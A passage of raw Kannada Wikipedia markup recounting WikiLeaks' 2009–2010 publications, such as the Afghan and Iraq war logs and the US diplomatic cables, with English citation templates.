|url=http://mirror.wikileaks.info/wiki/The_Big_Bad_Database_of_Senator_Norm_Coleman/index.html |title=The Big Bad Database of Senator Norm Coleman |publisher=Mirror.wikileaks.info |date=11 March 2009 |accessdate=17 December 2010 |archive-date=24 ಜೂನ್ 2017 |archive-url=https://web.archive.org/web/20170624100640/http://mirror.wikileaks.info/wiki/The_Big_Bad_Database_of_Senator_Norm_Coleman/index.html |url-status=dead }}</ref><ref>{{cite news|url=http://news.cnet.com/8301-1009_3-10195434-83.html|title=Coleman Senate campaign in donor data leak mess|publisher=Cnet News|author=Elinor Mills|date=12 March 2009|accessdate=7 December 2010|archive-date=16 ಅಕ್ಟೋಬರ್ 2013|archive-url=https://web.archive.org/web/20131016213753/http://news.cnet.com/8301-1009_3-10195434-83.html|url-status=dead}}</ref> ಪಾಲುದಾರರ ಯಾದಿಯನ್ನು ಪ್ರಕಟಿಸಿತು.<ref name="Oliver Luft">{{cite news|url=https://www.theguardian.com/technology/2009/jul/06/wikileaks-wikipedia-indiana-jones|title=Read all about it|work=The Guardian |location=UK |author=Oliver Luft|date=6 July 2009|accessdate=7 December 2010}}</ref> ಮತ್ತು ''ದ ಗಾರ್ಡಿಯನ್'' <ref name="Oliver Luft"/>‌ ವೆಬ್‌ಸೈಟಿನಿಂದ ತೆಗೆದು ಹಾಕಿಸಲಾಗಿದ್ದ ಬರ್ಕ್‌ಲೇಸ್ ಬ್ಯಾಂಕ್‌ಗೆ ಸಂಬಂಧಿಸಿದ ಕೆಲವು ದಾಖಲೆಗಳನ್ನು ಸಹಾ ಬಿಡುಗಡೆ ಮಾಡಿತು. ಜುಲೈನಲ್ಲಿ ಇರಾನಿನ ನಟಾನ್ಸ್ ನ್ಯೂಕ್ಲಿಯರ್ ಫೆಸಿಲಿಟಿಯಲ್ಲಿ 2009 ರಲ್ಲಿ ಒಂದು ಗಂಭೀರವಾದ ನ್ಯೂಕ್ಲಿಯರ್ ಅಪಘಾತವಾಗಿದ್ದ ಕುರಿತು ವರದಿಯನ್ನು ಪ್ರಕಟಿಸಿದರು.<ref>{{cite web|last= |first= |url=http://mirror.wikileaks.info/wiki/Serious_nuclear_accident_may_lay_behind_Iranian_nuke_chief%27s_mystery_resignation/ |title=Serious nuclear accident may lay behind Iranian nuke chief's mystery resignation |publisher=wikileaks |date=16 July 2009 |accessdate=16 October 2010}}</ref> ಮತ್ತು ನಂತರ ಅಪಘಾತವು ಸ್ಟಕ್ಸ್ನೆಟ್ ಗಣಕಯಂತ್ರ ಕಿಟಾಣುಗಳಿಂದಾಗಿದೆಯೆಂದು ಮಾಧ್ಯಮಗಳು ವರದಿ ಮಾಡಿದವು.<ref>{{cite web|author=Paul Woodward |url=http://warincontext.org/2010/09/26/iran-confirms-stuxnet-found-at-bushehr-nuclear-power-plant/ |title=Iran confirms Stuxnet found at Bushehr nuclear power plant|publisher=Warincontext.org |date=22 February 1999 |accessdate=28 September 2010}}</ref><ref>{{cite web|url=http://blog.foreignpolicy.com/posts/2010/09/27/6_mysteries_about_stuxnet |title=6 mysteries about Stuxnet |publisher=Blog.foreignpolicy.com |date=|accessdate=28 September 2010}}</ref> ಸೆಪ್ಟೆಂಬರ್‌ನಲ್ಲಿ ಕಾಫ್ಥಿಂಗ್ ಬ್ಯಾಂಕ್‌ನ ಆಂತರಿಕ ದಾಖಲೆಗಳನ್ನು ಪ್ರಕಟಿಸಿತು. ಈ ಪ್ರಕಟಣೆಯು ಐಸ್ಲ್ಯಾಂಡ್ ಹಣಕಾಸು ಕುಸಿತ 2008-2010 ಎಂದೇ ಕರೆಯಲಾದ ಐಸ್ಲ್ಯಾಂಡ್ ಹಣಕಾಸು ಸಂಸ್ಥೆಗಳ ತೀರ್ವ ಆರ್ಥಿಕ ಕುಸಿತಕ್ಕಿಂತ ಸ್ವಲ್ಪಕಾಲ ಮೊದಲು ಪ್ರಕಟವಾಗಿತ್ತು. ಈ ಪ್ರಕಟಣೆಯಲ್ಲಿ ಬ್ಯಾಂಕ್ ತನ್ನ ಬೇರೆ ಬೇರೆ ಪಾಲುದಾರರಿಗೆ ಆಧಿಕ ಪ್ರಮಾಣದ ಹಣವನ್ನು ಸಾಲರೂಪದಲ್ಲಿ ನೀಡಿದೆ ಮತ್ತು ದೊಡ್ಡಮೊತ್ತದ ಸಾಲದ ರಖಂನ್ನು ಮನ್ನಾ ಮಾಡಿದೆ ಎಂದು ವರದಿ ಮಾಡಿತ್ತು.<ref>{{cite web |title=Miklar hreyfingar rétt fyrir hrun |url=http://www.ruv.is/heim/frettir/frett/store64/item292385/ |date=31 July 2009 |publisher=[[RÚV]] |accessdate=22 September 2009|archiveurl=http://wayback.vefsafn.is/wayback/20090916135753/www.ruv.is/heim/frettir/frett/store64/item292385/|archivedate=16 September 2009}}</ref> ಅಕ್ಟೋಬರ್ ತಿಂಗಳಿನಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್‌ ಹೇಗೆ ತನ್ನ ದಾಖಲೆಗಳನ್ನು ಹೊರಸೋರದಂತೆ ತಡೆಗಟ್ಟಬೇಕು ಎಂದು ಸಲಹೆ ನೀಡುವ ಸಂಸ್ಥೆಯಾದ 'ಜಾಯಿಂಟ್ ಸರ್ವಿಸ್ ಪ್ರೊಟೊಕಾಲ್ 440'ರ ರಹಸ್ಯ ದಾಖಲೆಗಳನ್ನು ಪ್ರಕಟಿಸಿತು.<ref>ಟಾಮ್‌ ಚೈವರ್ಸ್. "[http://www.telegraph.co.uk/news/newstopics/politics/defence/6261756/MoD-how-to-stop-leaks-document-is-leaked.html MoD ' ಸೋರಿಕೆಯನ್ನು ತಡೆಯುವುದು ಹೇಗೆ' ದಾಖಲೆಯೊಂದರ ಸೋರಿಕೆಯಾಗಿದೆ] {{Webarchive|url=https://web.archive.org/web/20110107215301/http://www.telegraph.co.uk/news/newstopics/politics/defence/6261756/MoD-how-to-stop-leaks-document-is-leaked.html |date=7 ಜನವರಿ 2011 }}" ''ದಿ ಡೈಲಿ ಟೆಲೆಗ್ರಾಫ್'' 5 ಅಕ್ಟೋಬರ್ 2009. 24 ಅಕ್ಟೋಬರ್‌ 2009 ಪಡೆಯಲಾಯಿತು.</ref> ನಂತರ ಆ ತಿಂಗಳಿನ ಕೊನೆಯಲ್ಲಿ ಟ್ರಾಫಿಗುರಾ ಎಂಬ ಕಂಪನಿಯು ''ದ ಗಾರ್ಡಿಯನ್'' ಪತ್ರಿಕೆಯು ಐವರಿ ಕೋಸ್ಟ್‌ನಲ್ಲಿ ವಿಷಯುಕ್ತ ವಸ್ತುಗಳನ್ನು ಅದು ಚೆಲ್ಲುತ್ತಿರುವ ಕುರಿತು ಬಿಡುಗಡೆಯಾಗಿರುವ ದಾಖಲೆಯೊಂದರ ಕುರಿತು ವರದಿ ಮಾಡದಂತೆ ತಡೆಯಲು ಪ್ರಯತ್ನಿಸಿ ಒಂದು ಸೂಪರ್-ಇಂಜೆಕ್ಷನ್ ಬಳಸುತ್ತಿದೆ ಎಂದು ಘೋಷಿಸಿತು.<ref name="wikileaks">{{cite news|url=http://www.indexoncensorship.org/2009/10/a-gag-too-far/|title=A gag too far|work=Index On Censorship|date=October 2009|accessdate=14 October 2009}}</ref><ref>{{cite |title=Minton report secret injunction gagging The Guardian on Trafigura |work=WikiLeaks |url=https://secure.wikileaks.org/wiki/Minton_report_secret_injunction_gagging_The_Guardian_on_Trafigura,_11_Sep_2009 |accessdate=15 October 2009 |archiveurl=https://web.archive.org/web/20100830063054/http://secure.wikileaks.org/wiki/Minton_report_secret_injunction_gagging_The_Guardian_on_Trafigura%2C_11_Sep_2009 |archivedate=30 ಆಗಸ್ಟ್ 2010 |url-status=dead }}</ref> ನವೆಂಬರ್ ತಿಂಗಳಿನಲ್ಲಿ ವಾತಾವರಣ ತಜ್ಞರಿಂದ ಅಂತರ್ಜಾಲದಲ್ಲಿ ನಡೆಯಲ್ಪಟ್ಟ ಪತ್ರವ್ಯವಹಾರದ ವಿವರಗಳನ್ನು ವಿಕಿಲೀಕ್ಸ್‌ ಪ್ರಕಟಿಸಿದರು. ಆದರೆ ಅವರು ಮೂಲತಃ ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ಇದನ್ನು ನೀಡಿರಲಿಲ್ಲ.<ref name="Mail 6 Dec">{{cite news| title = Were Russian security services behind the leak of 'Climategate' emails? | url = http://www.dailymail.co.uk/news/article-1233562/Emails-rocked-climate-change-campaign-leaked-Siberian-closed-city-university-built-KGB.html | work = [[Daily Mail]]|author1=Stewart, Will|author2=Delgado, Martin| date = 2009-12-06| location=London}}</ref><ref>{{cite news |title=WikiLeaks.org aims to expose lies, topple governments |date=29 November 2009 |work=New York Post |url=http://www.nypost.com/p/news/opinion/opedcolumnists/wikileaks_org_aims_to_expose_lies_flsLqNMO3B0LEtxL5bNaKL}}</ref> ಸೆಪ್ಟೆಂಬರ್ 11 ರ ದಾಳಿಯ ಬಗೆಗಿನ ವಿವರಗಳನ್ನು ಫೇಜರ್‌ನಿಂದ ಮಾಡಲಾದ 5,70,000 ಸಂದೇಶಗಳನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿತು<ref>{{cite web |url=http://www.cbsnews.com/8301-504383_162-5770280-504383.html?tag=mncol%3btxt/ |title=Egads! Confidential 9/11 Pager Messages Disclosed;November 2009 |publisher=CBS News |date=25 November 2009 |accessdate=31 December 2010 |archiveurl=https://web.archive.org/web/20110502094524/http://www.cbsnews.com/8301-504383_162-5770280-504383.html |archivedate=2 ಮೇ 2011 |url-status=dead }}</ref>. 2008 ಮತ್ತು 2009ನೇ ಸಾಲಿನಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್‌ ಆಸ್ಟ್ರೇಲಿಯಾ, ಡೆನ್ಮಾರ್ಕ್, ಮತ್ತು ಥೈಲ್ಯಾಂಡ್‌ಗಳಲ್ಲಿರುವ ಕಾನೂನುಬಾಹೀರ ಅಂತರ್ಜಾಲ ತಾಣಗಳ ಹೆಸರುಗಳನ್ನು ಪಟ್ಟಿಮಾಡಿತು. ಇವುಗಳು ಮಕ್ಕಳ ಅಶ್ಲೀಲ ಸಾಹಿತ್ಯ ಮತ್ತು [[ಭಯೋತ್ಪಾದನೆ|ಉಗ್ರವಾದ]]ವನ್ನು ತಡೆಯುವ ಸಲುವಾಗಿ ಮಾಡಿದ ತಾಣಗಳಾಗಿದ್ದವು ಆದರೆ ವಿಕಿಲೀಕ್ಸ್‌ ಅದಕ್ಕೆ ಸಂಬಂದಿಸದೇ ಇರುವ ಇತರ ತಾಣಗಳನ್ನು ಪಟ್ಟಿಮಾಡಲಾಗಿದೆ ಎಂದು ಹೇಳಿತು.<ref>{{cite news|url=http://www.theregister.co.uk/2009/03/18/aussie_firewall_wikileaks/ |title=Aussie firewall blocks Wikileaks |publisher=The Register |author=John Oates |date=18 March 2009 |accessdate=17 December 2010}}</ref><ref>{{cite news|url=http://www.smh.com.au/articles/2009/03/19/1237054961100.html|title=Leaked Australian blacklist reveals banned sites|author=Asher Moses|accessdate=19 March 2009|date=19 March 2009|work=Sydney Morning Herald }}</ref><ref>{{cite web |url=http://secure.wikileaks.org/wiki/Internet_Censorship_in_Thailand |archiveurl=https://web.archive.org/web/20080116070133/http://secure.wikileaks.org/wiki/Internet_Censorship_in_Thailand |archivedate=16 January 2008 |title=Internet Censorship in Thailand |publisher=wikileaks.org |accessdate=17 June 2010}}</ref> ===2010=== ಮಾರ್ಚ್‌ 2010ರಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್‌ ಹೇಗೆ ತಮ್ಮ ಸುದ್ದಿರಹಸ್ಯಗಳನ್ನು ಬಯಲುಮಾಡಬಹುದು ಮತ್ತು ಅದನ್ನು ಹೇಗೆ ತಡೆಗಟ್ಟಬಹುದು ಎಂಬುದರ ಮೇಲೆ ಅಮೇರಿಕಾದ ಸೇನಾ ರಹಸ್ಯಮಾಹಿತಿ ಸೋರಿಕೆ ತಡೆಗಟ್ಟುವಿಕೆಯ ಕುರಿತಾಗಿ 2008ರಲ್ಲಿ ಬರೆಯಲಾದ ತುಲನಾತ್ಮಕ ವರದಿಯನ್ನು ಪ್ರಕಟಿಸಿತು.<ref name="USarmyintel">{{cite web | url = http://news.cnet.com/8301-13578_3-20000469-38.html | title = U.S. Army worried about Wikileaks in secret report | last = Mccullagh | first = Declan | publisher = [[CNET Networks|CNET]] News, CBS Interactive | date = 15 March 2010 | accessdate = 15 March 2010 | archive-date = 12 ಅಕ್ಟೋಬರ್ 2013 | archive-url = https://web.archive.org/web/20131012034413/http://news.cnet.com/8301-13578_3-20000469-38.html | url-status = dead }}</ref><ref>{{cite web | url = http://wikileaks.org/file/us-intel-wikileaks.pdf | title = U.S. Intelligence planned to destroy WikiLeaks | format = PDF | archiveurl = https://web.archive.org/web/20101222020934/http://wikileaks.org/file/us-intel-wikileaks.pdf | archivedate = 22 ಡಿಸೆಂಬರ್ 2010 | access-date = 4 ಫೆಬ್ರವರಿ 2011 | url-status = dead }}</ref> ಎಪ್ರಿಲ್ ತಿಂಗಳಿನಲ್ಲಿ, 12ಜುಲೈ 2007ರಂದು ಚಿತ್ರಿಕರಿಸಿದ ವಿಮಾನದಾಳಿಯ ಒಂದು ದೃಶ್ಯಭಾಗವನ್ನು ಪ್ರಕಟಿಸಿತು ಅದರಲ್ಲಿ ರಾಯಿಟರ್ಸ್‌ನ ನೌಕರರಿಬ್ಬರನ್ನು ವಿಮಾನ ಚಾಲಕರು ಆಯುಧಗಳನ್ನು ಓಯ್ಯುತ್ತಿದ್ದಾರೆಂದು ತಪ್ಪಾಗಿ ಭಾವಿಸಿ ಗುಂಡಿಕ್ಕಿದ್ದರು. ಆದರೆ ಅವರ ಕೈಗಳಲ್ಲಿ ಕ್ಯಾಮೆರಾಗಳಿದ್ದವು.<ref>{{cite news |title=Video Shows U.S. Killing of Reuters Employees |url=https://www.nytimes.com/2010/04/06/world/middleeast/06baghdad.html|date=6 April 2009 |work=The New York Times |author=Elisabeth Bumiller; Brian Stelter |accessdate=7 April 2010 }}</ref> ಮತ್ತು ಅದರ ನಂತರದ ವಾರದಲ್ಲಿ ಅಂತರ್ಜಾಲದಲ್ಲಿ ಜಾಗತೀಕವಾಗಿ "ವಿಕಿಲೀಕ್ಸ್"ಗಾಗಿ ಹೆಚ್ಚು ಹುಡುಕಾಟ ನಡೆದಿತ್ತು ಎಂದು [[ಗೂಗಲ್|ಗೂಗಲ್‌]]ನ ಇನ್‌ಸೈಟ್ಸ್ ವರದಿ ಮಾಡಿತ್ತು.<ref name="Google">[http://www.independent.co.uk/news/media/current-google-insights-trends-wikileaks-posts-clasified-military-video-masters-1942629.html ಪ್ರಸ್ತುತ ಗೂಗಲ್‌ ದೃಷ್ಟಿಕೋನದ ಏರಿಳಿತಗಳು: ವಿಕಿಲೀಕ್ಸ್ ಮಿಲಿಟರಿ ವಿಡಿಯೋಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತಿದೆ. ಮಾಸ್ಟರ್ಸ್] {{Webarchive|url=https://web.archive.org/web/20110827012515/http://www.independent.co.uk/news/media/current-google-insights-trends-wikileaks-posts-clasified-military-video-masters-1942629.html |date=27 ಆಗಸ್ಟ್ 2011 }}, ''ದಿ ಇಂಡಿಪೆಂಡೆಂಟ್‌'' , (12 ಏಪ್ರಿಲ್ 2010)</ref> ಜೂನ್ 2010ರಲ್ಲಿ, ಆರ್ಡಿಯನ್ ಲಾಮೋರವರಿಂದ ಪರಸ್ಪರ ವಿನಿಮಯವಾದ ಅಂತರ್ಜಾಲ ಪತ್ರಗಳು ಅಧಿಕಾರಿಗಳಿಗೆ ಸಿಕ್ಕಿದ ನಂತರ ಆರೋಪಿಯಾದ 22ವರ್ಷ ವಯಸ್ಸಿನ ಸೇನಾ ರಹಸ್ಯಸುದ್ದಿ ವಿಮರ್ಶಕರಾದ ಪಿ.ಎಫ್.ಸಿ. (ಮೊದಲು ಇದನ್ನು ಎಸ್.ಪಿ.ಸಿ. ಎಂದು ಕರೆಯುತ್ತಿದ್ದರು.) ಬ್ರಾಡ್ಲ್ಲಿ ಮ್ಯಾನಿಂಗ್‌ರವರನ್ನು ಸೆರೆಹಿಡಿಯಲಾಯಿತು. ಲಾಮೋರವರು ನೀಡಿದ ಹೇಳಿಕೆಯಂತೆ ಬ್ರಾಡ್ಲಿಯವರೇ ಕೊಲ್ಯಾಟರಲ್ ಮರ್ಡರ್ ನಂತಹ ವಿಷಯಗಳನ್ನು ಸೋರಿಕೆ ಮಾಡಿದ್ದಾರೆ, ಗ್ರಾನಾಯಿ ವೈಮಾನಿಕ ದಾಳಿಗಳ ಚಿತ್ರಿತ ಮುದ್ರಿಕೆಗಳನ್ನು ಸೋರಿಕೆ ಮಾಡಿದ್ದಾರೆ ಮತ್ತು ಅದರ ಜೊತೆಗೆ 2,60,000 ರಾಜತಾಂತ್ರಿಕ ವಿಷಯಗಳನ್ನು ವಿಕಿಲೀಕ್ಸ್‌‌ಗೆ ಸೋರಿಕೆ ಮಾಡಿದ್ದಾರೆ ಎಂದು ಸಾಬೀತುಪಡಿಸಿದರು.<ref name="wired">{{cite news | url=https://www.wired.com/threatlevel/2010/06/leak/ | authorlink1=Kevin Poulsen | first1=Kevin | last1=Poulsen | authorlink2=Kim Zetter | first2=Kim | last2=Zetter | title=U.S. Intelligence Analyst Arrested in Wikileaks Video Probe | newspaper=Wired |date=6 June 2010 |accessdate=15 June 2010}}</ref> ಜುಲೈದಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್‌ 2004ರಿಂದ 2009ರ ಅಂತ್ಯದ ನಡುವೆ ನಡೆದ ಅಪಘಾನಿಸ್ಥಾನದಲ್ಲಿನ ಯುದ್ಧಕ್ಕೆ ಸಂಬಂಧಿಸಿದ 92,000 ದಾಖಲೆಗಳನ್ನು ''ದಿ ಗಾರ್ಡಿಯನ್'' , ''ದಿ ನ್ಯೂಯಾರ್ಕ್ ಟೈಮ್ಸ್'' , ಮತ್ತು ''ಡೆರ್ ಸ್ಪೈಗಲ್'' ಪತ್ರಿಕೆಗಳಿಗೆ ನೀಡಿತು. ಈ ವಿವರಗಳು ತಮಾಷೆಗಾಗಿ ಗುಂಡು ಹಾರಿಸುವುದರಿಂದ ಹಿಡಿದು ನಾಗರಿಕ ವರ್ತನೆಯನ್ನು ಪ್ರತಿಯೊಂದು ಘನೆಗಳು ಸೇರಿದ್ದವು.<ref name="guardian1">{{cite news | title=Afghanistan war logs: the unvarnished picture | newspaper=[[guardian.co.uk]] | date=25 July 2010 | url=https://www.theguardian.com/commentisfree/2010/jul/25/afghanistan-war-logs-guardian-editorial?intcmp=239 | accessdate=26 July 2010 | location=London}}</ref> ಜುಲೈ 2010ರ ಅಂತ್ಯದ ವೇಳೆಗೆ 1.4 ಗಿಗಾಬೈಟ್‌ಗಳಷ್ಟು 'ವಿಮೆ ಫೈಲ್‌ಗಳನ್ನು ಅಫ್ಗಾನ್ ಯುದ್ಧದ ದಿನಚರಿಗೆ ಸೇರಿಸಿತು. ಇದರ ಪ್ರಕಾರ ವಿಕಿಲೀಕ್ಸ್‌ ಅಥವಾ ಅಸ್ಸೆಂಜ್‌ರಿಗೆ ಏನಾದರೂ ಅಪಾಯವಾದರೆ ಈ ವಿಷಯಗಳನ್ನು ಪ್ರಕಟಿಸುವುದಾಗಿತ್ತು.<ref name="wired_insurance" /> ಕೆಲವು ಮಾಹಿತಿಗಳನ್ನು ತೆಗೆಯುವ ಸಲುವಾಗಿ 92000ದಾಖಲೆಗಳಲ್ಲಿ 15,000 ದಾಖಲೆಗಳು ಇನ್ನೂ ವಿಕಿಲೀಕ್ಸ್‌‌ನಲ್ಲಿ ಪ್ರಕಟವಾಗಿಲ್ಲ. ವಿಕಿಲೀಕ್ಸ್‌ ಸಂಭವನೀಯ ಹಾನಿಯನ್ನು ತಡೆಗಟ್ಟುವ ಸಲುವಾಗಿ ಕೆಲವು ಹೆಸರುಗಳನ್ನು ಕಡಿಮೆ ಮಾಡಲು ಪೆಂಟಗಾನ್ ಮಾನವ ಹಕ್ಕು ಗುಂಪುಗಳ ಸಹಕಾರವನ್ನು ಕೇಳಿತ್ತು ಆದರೆ ಸಹಕಾರವನ್ನು ಪಡೆಯಲು ಸಾಧ್ಯವಾಗಲಿಲ್ಲ.<ref>{{cite news|title=Pentagon Slams WikiLeaks' Plan to Post More War Logs |url=http://online.wsj.com/article/SB10001424052748704407804575425900461793766.html?mod=WSJ_article_LatestHeadlines#articleTabs%3Darticle|accessdate=13 August 2010|newspaper=The Wall Street Journal|date=12 August 2010|author=Julian E. Barnes|author2=Jeanne Whalen}}</ref> ಜರ್ಮನಿಯ ಡೈಸ್ಬರ್ಗ್ ನಲ್ಲಿ 24 ಜುಲೈ 2010ರಂದು ನಡೆದ ಲವ್ ಪೆರೇಡ್ ಸ್ಟಾಂಪೀಡ್ ಬಗ್ಗೆ ಸ್ಥಳೀಯರು ಪ್ರೇಮ ಮೆರವಣಿಗೆಯ ಶಹರದ ಕಾರ್ಯನಿರ್ವಹಣೆಯ ಬಗೆಗಿನ ಮಾರ್ಗಸೂಚಿಯ ಬಗ್ಗೆ ಪ್ರಕಟಿಸಿದ್ದರು. ಆಗಸ್ಟ್‌ 16ರಂದು ಸರ್ಕಾರವು ದಾಖಲೆಗಳನ್ನು ವಿಕಿಲೀಕ್ಸ್‌ ತಾಣದಿಂದ ತೆಗೆಯುವಂತೆ ನ್ಯಾಯಾಲಯದ ಆಜ್ಞೆಯೊಂದನ್ನು ತಂದಿತು.<ref>ಕೊನ್ರಾಡ್ ಲಿಷ್ಚ್ಕಾ: [http://www.spiegel.de/netzwelt/netzpolitik/0,1518,712408,00.html ''Einstweilige Verfügung – Duisburg verbietet Blogger-Veröffentlichung zur Love Parade'' ] at Spiegel Online on 18 August 2010 (German)</ref> ಆಗಸ್ಟ್‌ 20ರಂದು ವಿಕಿಲೀಕ್ಸ್‌ '''ಲವ್ ಪರೇಡ್ 2010 ಡ್ಯೂಸ್ಬರ್ಗ್ ದಾಖಲೆಗಳು 2007-2010'' ' ಎಂಬ ಶಿರ್ಷಿಕೆಯಡಿ ಸಾರ್ವಜನಿಕ ಪ್ರಕಟಣೆಯೊಂದನ್ನು ನೀಡಿತು. ಇದು ಲವ್ ಪರೇಡ್ ಬಗೆಗಿನ 43ದಾಖಲೆಗಳ ವಿಮರ್ಶೆಗಳನ್ನು ಒಳಗೊಂಡಿತ್ತು.<ref>{{cite web |title=Loveparade 2010 Duisburg planning documents, 2007-2010 |url=http://mirror.wikileaks.info/wiki/Loveparade_2010_Duisburg_planning_documents,_2007-2010/ |publisher=Mirror.wikileaks.info |date=20 August 2010 |accessdate=17 December 2010 |archive-date=17 ಡಿಸೆಂಬರ್ 2010 |archive-url=https://web.archive.org/web/20101217182117/http://mirror.wikileaks.info/wiki/Loveparade_2010_Duisburg_planning_documents%2C_2007-2010/ |url-status=dead }}</ref><ref>{{Cite web |url=http://www.news.com.au/technology/wikileaks-releases-documents-on-love-parade-tragedy/story-e6frfrnr-1225908260011 |title=''ವಿಕಿಲೀಕ್ಸ್, 21 ಆಗಸ್ಟ್ 2010ರಂದು news.com.au ಲವ್ ಪೆರೆಡ್ ದುರಂತದ ಕಡತವನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿದೆ.'' |access-date=4 ಫೆಬ್ರವರಿ 2011 |archive-date=12 ಅಕ್ಟೋಬರ್ 2013 |archive-url=https://web.archive.org/web/20131012015126/http://www.news.com.au/technology/wikileaks-releases-documents-on-love-parade-tragedy/story-e6frfrnr-1225908260011 |url-status=dead }}</ref> ಅಫಘಾನ್‌ ಯುದ್ಧದ ವಿವರಗಳು ಪ್ರಕಟವಾದ ಬೆನ್ನಲ್ಲೇ ಅಕ್ಟೋಬರ್ 2010ರಂದು ಇರಾಕ್ ಯುದ್ಧಕ್ಕೆ ಸಂಬಂಧಿಸಿದ 4,00,000 ದಾಖಲೆಗಳು ಪ್ರಕಟಿಸಲ್ಪಟ್ಟವು. ಬಿ.ಬಿ.ಸಿಯು ಪೆಂಟಗಾನನ್ನು ಇರಾರ್ ಯುದ್ಧದ ಮಾಹಿತಿಗಳ ಪ್ರಕಾರ ಸಮರ್ಥನೆಯನ್ನು ಕೇಳಿತು. ಇದೊಂದು ಇರಾಕ್ ಯುದ್ಧದ ಇತಿಹಾಸದಲ್ಲಿಯೇ ಅತೀಹೆಚ್ಚು ವಿಷಯಗಳನ್ನು ಹೊರಗೆಡವಿತ್ತು. ಹೊರಗೆಡವಲ್ಪಟ್ಟ ಮಾಹಿತಿಯಲ್ಲಿ 2003ರ ನಂತರದ ಯುದ್ಧದಲ್ಲಿ ಇರಾಕಿನ ಅಧಿಕಾರಿ ವರ್ಗದವರ ಚಿತ್ರಹಿಂಸೆಗಳನ್ನು ಅಮೇರಿಕಾದ ಸರ್ಕಾರವು ಮರೆಮಾಚಿದ್ದನ್ನು ಕುರಿತಾಗಿತ್ತು.<ref>{{cite news |title=Huge Wikileaks release shows US 'ignored Iraq torture' |publisher=BBC News |date=23 October 2010 |url=http://www.bbc.co.uk/news/world-middle-east-11611319 |accessdate=23 October 2010}}</ref> ====ಡಿಪ್ಲೊಮ್ಯಾಟಿಕ್ ಕೇಬಲ್ ಪ್ರಕಟಣೆ==== {{Main|United States diplomatic cables leak|Contents of the United States diplomatic cables leak|l2=contents|Reactions to the United States diplomatic cables leak|l3=reactions}} ನವೆಂಬರ್ 28, 2008ರಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್‌ ಮತ್ತು ಇತರ ಐದು ಪ್ರಮುಖ ಪತ್ರಿಕೆಗಳದಾದ ''ಎಲ್ ಪೈಸ್'' (ಸ್ಪೇನ್), ''ಲಿ ಮೊಂಡೆ'' ( ಫ್ರಾನ್ಸ್), ''ಡರ್ ಸ್ಪೆಗಲ್'' (ಜರ್ಮನಿ), ''ದಿ ಗಾರ್ಡಿಯನ್'' (ಯುನೈಟೆಡ್ ಕಿಂಗ್ಡಮ್) ಮತ್ತು ''ದಿ ನ್ಯೂಯಾರ್ಕ್ ಟೈಮ್ಸ್'' ( ಅಮೇರಿಕಾ)ಗಳು ಜೊತೆಯಾಗಿ ಆಪ್ತವಾದ ಆದರೆ ಅತ್ಯಂತ ರಹಸ್ಯವಲ್ಲದ 251ರ 220 ಮತ್ತು 257ನೇ ಡಿಪ್ಲೊಮ್ಯಾಟೀಕ್ ಕೇಬಲ್ ವರದಿಗಳನ್ನು 274 ಅಮೇರಿಕಾದ ಎಂಬಾಸಿಸ್ ಮೂಲಕ ಜಗತ್ತಿನಾದ್ಯಂತ ಪ್ರಸಾರ ಮಾಡಿದವು.<ref>{{cite news|last=Shane|first=Scott|title=Leaked Cables Offer Raw Look at U.S. Diplomacy|url=https://www.nytimes.com/2010/11/29/world/29cables.html?bl=&_r=3&adxnnl=1&adxnnlx=1292778173-fMW1SzDCUGvclejwT3KnJA&pagewanted=all|accessdate=19 December 2010|newspaper=The New York Times|date=28 November 2010|author2=Lehren, Andrew W.}}</ref><ref name="manila">{{cite web|last=Suarez |first=Kris Danielle|url=http://www.abs-cbnnews.com/nation/11/29/10/1796-memos-us-embassy-manila-wikileaks-cablegate |title=1,796 Memos from US Embassy in Manila in WikiLeaks 'Cablegate' |publisher=[[ABS-CBN News]] |date=Updated 30 November 2010 |accessdate=19 December 2010}}</ref> ವಿಕಿಲೀಕ್ಸ್‌ ಸಂಪೂರ್ಣವಾದ ವರದಿಗಳನ್ನು ಹಲವಾರು ತಿಂಗಳುಗಳ ಕಾಲ ವರದಿಮಾಡಲು ನಿರ್ಧರಿಸಿದೆ.<ref name="manila" /> ಡಿಪ್ಲೋಮೆಟಿಕ್ ಕೇಬಲ್ ಎಂದರೆ ಅಮೇರಿಕಾದ ವಿವಿಧ ಪ್ರಕಾರದ ಟೀಕೆ ಮತ್ತು ಶ್ಲಾಘನೆಗಳು, [[ಹವಾಮಾನ ಬದಲಾವಣೆ|ವಾತಾವರಣದ ವೈಪರಿತ್ಯ]]ದ ಬಗೆಗಿರುವ ರಾಜಕೀಯ ನೀತಿಗಳು, ಮಧ್ಯಪೂರ್ವದಲ್ಲಿ ಆಗುತ್ತಿರುವ ವಿದ್ಯಮಾನಗಳ ವಿಶ್ಲೇಷಣೆ, ಪರಮಾಣು ನಿಶಸ್ತ್ರೀಕರಣ, ಉಗ್ರರ ವಿರುದ್ಧ ಯುದ್ಧದಲ್ಲಿ ತೆಗೆದುಕೊಳ್ಳಲಾದ ಕ್ರಮಗಳು, ಜಗತ್ತಿನಾದ್ಯಂತ ವ್ಯಕ್ತಿ ಸ್ವಾತಂತ್ರ್ಯಕ್ಕೆ ಬೆದರಿಕೆ ನೀಡುವ ಅಂಶಗಳ ಪಟ್ಟಿ, ವಿವಿಧ ದೇಶಗಳ ಒಪ್ಪಂದಗಳು, ಅಮೇರಿಕಾದ ಗೂಢಾಚಾರ ಸಂಸ್ಥೆ ಮತ್ತು ಪ್ರತಿಗೂಢಚಾರ ಪ್ರಯತ್ನಗಳು, ಮತ್ತು ಇತರ ರಾಜತಾಂತ್ರಿಕ ಕ್ರಮಗಳ ಕುರಿತು ಹೊಂದಿದೆ. ಅಮೇರಿಕಾದ ಡಿಪ್ಲೊಮೆಟಿಕ್ ಕೇಬಲ್‌ ಸೋರಿಕೆಗೆ ಪ್ರತಿಕ್ರಿಯೆಗಳು ಗಾಢವಾದ ಟೀಕೆ, ನಿರೀಕ್ಷೆ, ಪ್ರಶಂಸೆ ಮತ್ತು ನಿಶ್ಚಲತೆಗಳಿಂದ ಕೂಡಿದೆ. ಮತ್ತು ಅಮೇರಿಕಾದ ಸರ್ಕಾರಕ್ಕೆ ಅನುಕಂಪ, ಮೋಡಿ 